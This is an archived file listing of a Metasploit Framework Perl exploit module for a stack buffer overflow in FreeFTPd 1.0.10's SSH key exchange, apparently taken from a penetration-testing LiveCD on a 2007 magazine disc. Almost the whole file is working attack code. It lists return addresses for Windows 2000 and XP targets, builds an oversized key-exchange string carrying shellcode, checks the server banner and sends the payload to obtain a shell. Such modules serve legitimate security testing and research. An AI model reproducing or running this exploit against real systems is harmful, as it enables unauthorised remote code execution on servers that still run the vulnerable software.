home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / freeftpd_key_exchange.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  117 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::freeftpd_key_exchange;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'  => 'FreeFTPd 1.0.10 Key Exchange Algorithm Buffer Overflow',
  20.     'Version'  => '$Revision: 1.1 $',
  21.     'Authors' => [ 'riaf [at] mysec.org', ],
  22.     'Arch'  => [ 'x86' ],
  23.     'OS'    => [ 'win32', 'win2000', 'winxp' ],
  24.     'Priv'  => 0,
  25.     'UserOpts'  =>
  26.       {
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 22],
  29.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  30.       },
  31.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  32.     'Payload' =>
  33.       {
  34.         'Space'     => 500,
  35.         'BadChars'  => "\x00",
  36.         'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
  37.         'Keys'      => ['+ws2ord'],
  38.       },
  39.  
  40.     'Description'  => Pex::Text::Freeform(qq{
  41.          This module exploits a simple stack overflow in FreeFTPd 1.0.10
  42.     This flaw is due to a buffer overflow error when handling a specially 
  43.     crafted key exchange algorithm string received from an SSH client.
  44.     This module is based on MC's freesshd_key_exchange exploit.
  45. }),
  46.  
  47.     'Refs'  =>
  48.       [
  49.         ['BID', '17958'],
  50.       ],
  51.     'Targets' =>
  52.       [
  53.  
  54.         ['Windows 2000 SP0-SP4 English', 0x750231e2],
  55.         ['Windows 2000 SP0-SP4 German',  0x74f931e2],
  56.         ['Windows XP SP0-SP1 English',   0x71ab1d54],
  57.         ['Windows XP SP2 English',       0x71ab9372],
  58.       ],
  59.  
  60.     'Keys' => ['ssh'],
  61.  
  62.     'DisclosureDate' => 'May 12 2006',
  63.   };
  64.  
  65. sub new {
  66.     my $class = shift;
  67.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  68.     return($self);
  69. }
  70.  
  71. sub Exploit
  72. {
  73.     my $self = shift;
  74.     my $target_host = $self->GetVar('RHOST');
  75.     my $target_port = $self->GetVar('RPORT');
  76.     my $target_idx  = $self->GetVar('TARGET');
  77.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  78.     my $target = $self->Targets->[$target_idx];
  79.  
  80.     my $sploit =
  81.       "SSH-2.0-OpenSSH_3.9p1".
  82.       "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00".
  83.       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".
  84.       Pex::Text::AlphaNumText(1055). pack('V', $target->[1]).
  85.       $shellcode. Pex::Text::AlphaNumText(19000). "\r\n";
  86.  
  87.     $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
  88.  
  89.     my $s = Msf::Socket::Tcp->new
  90.       (
  91.         'PeerAddr'  => $target_host,
  92.         'PeerPort'  => $target_port,
  93.         'LocalPort' => $self->GetVar('CPORT'),
  94.         'SSL'       => $self->GetVar('SSL'),
  95.       );
  96.     if ($s->IsError) {
  97.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  98.         return;
  99.     }
  100.  
  101.     my $resp = $s->Recv(-1);
  102.     chomp($resp);
  103.     $self->PrintLine('[*] FreeFTPd: ' . $resp);
  104.  
  105.     if($resp !~ /SSH-2\.0-WeOnlyDo-wodFTPD 2\.1\.8\.98/) {
  106.         $self->PrintLine('[*] Not a vulnerable FreeFTPd version... ');
  107.         return;
  108.     }
  109.  
  110.     $s->Send($sploit);
  111.     $self->Handler($s);
  112.     $s->Close();
  113.     return;
  114. }
  115. 1;
  116.  
  117.